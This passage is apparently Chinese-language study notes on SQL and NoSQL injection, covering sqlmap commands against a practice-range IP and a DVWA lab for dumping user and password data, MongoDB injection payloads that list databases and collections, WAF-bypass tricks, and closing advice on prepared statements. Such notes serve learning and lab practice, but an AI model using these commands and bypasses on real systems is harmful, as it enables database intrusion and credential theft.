从工具中还可以看到不同数据库可以获得的权限,明显msSQL可以得到更多权限。
在信息一栏中可以查看到数据库的各种信息:版本、数据库名、计算机名、数据库名、管理员最高权限、Sql-server对应root (mysql)、数据库各表名、磁盘、用户组、用户等。
在获取数据一栏中可以获取数据库信息,表名数据等
msSQL的手工注入
语句会与mySQL不同:
postgreSQL注入
- 可以使用工具:sqlmap、pangolin穿山甲
识别数据库类型:sqlmap -u http://219.153.49.228:44677/new_list.php?id=1
判断数据库权限:sqlmap -u http://219.153.49.228:44677/new_list.php?id=1 -privileges --level 3
判断是否为数据库管理员:sqlmap -u http://219.153.49.228:44677/new_list.php?id=1 --is-dba --level 3
查看当前数据库:sqlmap -u http://219.153.49.228:44677/new_list.php?id=1 --current-db --batch
查看名为public的数据库的表名:sqlmap -u http://219.153.49.228:44677/new_list.php?id=1 -D public --tables
查看表reg_users 的列名:sqlmap -u http://219.153.49.228:44677/new_list.php?id=1 -D public -T reg_users --columns
查看表reg_users 的具体数据:sqlmap -u http://219.153.49.228:44677/new_list.php?id=1 -D public -T reg_users -C "name,password" --dump --batch
手工注入,某些语句会有差别:
Oracle注入
使用工具:sqlmap、pangolin穿山甲
手工注入
mongoDB注入
使用工具
SQLmap不能识别MongoDB,这里介绍nosqlattack:https://github.com/youngyangyang04/NoSQLAttack
首先输入目标网站IP:
然后输入路径:
尝试攻击:
手工注入
参考文档:
https://blog.csdn.net/qq_39936434/article/details/95319449
https://www.cnblogs.com/wefeng/p/11503102.html
Mongodb的查询文档方式与其他的数据库略微不同,当进行条件查询的时候,mysql是用where, 而mongodb是以键值对形式进行查询的。
比如按id=”1”查询表news中的数据:
select * from admin {'id': '1'})
。构建回显,mongoDB查询操作的源代码为findone({‘id’:‘1’})
攻击语句:
/new_list.php?id=1'});return({title:1,content:'2
爆库
/new_list.php?id=1'}); return ({title:tojson(db),content:'1
—tojson() 方法可以将 Date 对象转换为字符串格式化为 JSON 数据格式,相当于MySQL的数据库名。
爆表
/new_list.php?id=1'});return({title:tojson(db.getCollectionNames()),content:'1
db.getCollectionNames()返回的是数组,转化为json格式,相当于MySQL的tables。
查询指定数据
/new_list.php?id=1'});return({title:tojson(db.Authority_confidential.find()[0]),content:'1
元素集中查找使用E.find(expr)函数,用于从匹配的元素集E的子元素中找出与find指定表达式expr相匹配的元素集合,E 同 expr 可视作同父子元素关系.
find()[0]为第一条数据,find()[1]为第二条
由于是字典形式,所以键和值一起出来了,不需要额外查询列。
9. sqlmap
1 | -u #注入点 |
简单的注入流程:
1 | 1.读取数据库版本,当前用户,当前数据库 |
确定要注入的URL,有时需要获取访问该网站所需的cookie。
get数据注入
查询所有的数据库名
1
sqlmap -u "http://192.168.75.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=ni3gsltihh60r1q50tiu45l8p3' --dbs
查询指定数据库的所有表名信息
1
sqlmap -u "http://192.168.75.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=ni3gsltihh60r1q50tiu45l8p3' -D dvwa --table
查询指定表名下的所有列名信息
1
sqlmap -u "http://192.168.75.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=ni3gsltihh60r1q50tiu45l8p3' -D dvwa -T users --column
查询指定数据
1
sqlmap -u "http://192.168.75.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=ni3gsltihh60r1q50tiu45l8p3' -D dvwa -T users -C user,password --dump
post数据注入
使用 SQLMap 自动完成 POST 注入,需要把正常 POST 包的内容复制到一个 txt 文档,再调用文档来进行注入。
先使用 Burpsuite 拦截正常 POST 包,右键 - 选择 Copy to file 复制到 /root/post.txt
然后关闭 Burpsuite 的代理功能,再使用命令 sqlmap -r /root/post.txt --dbs
,来查询数据库名称。
使用 SQLMap 命令 sqlmap -r /root/post.txt -D dvwa --table
,查询表名
使用 SQLMap 命令 sqlmap -r /root/post.txt -D dvwa -T users --columns
,查询字段名
使用 SQLMap 命令 sqlmap -r /root/post.txt -D dvwa -T users -C user,password --dump
,查询用户名和密码内容
8. SQL注入防护
字符转义
addslashes()、魔术引号开关、mysql_real_escape_string
会对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义,会影响SQL注入语句中的路径信息。
绕过方法:
宽字节(待转义字符前加上%df)、
整数过滤
遇到 is_int() 函数过滤输入的情况:直接跑路,无法绕过
1 | if(is_int($id)){ |
过滤关键字
str_replace(‘被过滤参数’,’过滤参数’,$id)
1 | if(isset($_ GET['id'])){ |
过滤效果:select变成了fuck
waf防护软件
阿里云盾、安全狗、宝塔
作用机制:过滤关键字
绕过方法:
更改提交方法(get、post)
大小写混合(绕开黑名单)
解密编码类(绕开黑名单)
%0A为换行符;%23为#号;%20为空格
注释符号混用(绕开注释过滤)
比如
/**/
、/*!*/
等价函数替换(绕开关键字过滤)
特殊符号混用(绕开关键字过滤)
1
2空格被过滤,用%a0代替;
and和or被过滤:可以用&&和||来替代;借助数据库特性(多种SQL语句)
HTTP参数污染
函数java_implimentation()的逻辑有严重错误: 一旦这个数组里的个数不止1个,并且每个组员都是id开头,那么返回只会返回第一个组员。比如id=1&id=sql_injection的结果为为id=1。但是
$id=$_GET['id']
取的是最后一个id,所以我们只需要把payload放在后面的id就好。垃圾数据溢出
waf只能匹配一千个,多了就不行了
使用预编译PDO
PDO 是 PHP Data Objects(PHP 数据对象)的缩写。是在 PHP5.1 版本之后开始支持的技术。不使用 PDO 技术时,SQL 语句是先在本地拼接完成后,再传递至数据库处理,所以会导致用户提交有猫腻的变量来改变原 SQL 语句的结构,从而实现 SQL 注入;使用 PDO 技术后,是先把 SQL 语句的整体语法,匹配的参数用 ?
当做占位符一起发送至数据库,然后再把用户提交的查询参数发送至数据库,由数据库来完成变量的转移处理。用户输入只会被当成字符串字面值参数,而SQL语句则经过语法分析,生成执行命令。这样 SQL 语句的整体语法结构和变量分开两次传递至数据库,从而导致那些有猫腻的变量无法再改变 SQL 语句的原始结构。这种情况下,SQL 注入攻击几乎无法实现。这也是目前比较有效的防御 SQL 注入攻击的方法之一。
SQL关键字无法进行预编译,如表名或者列名字段,order by + 列名,in + 列名。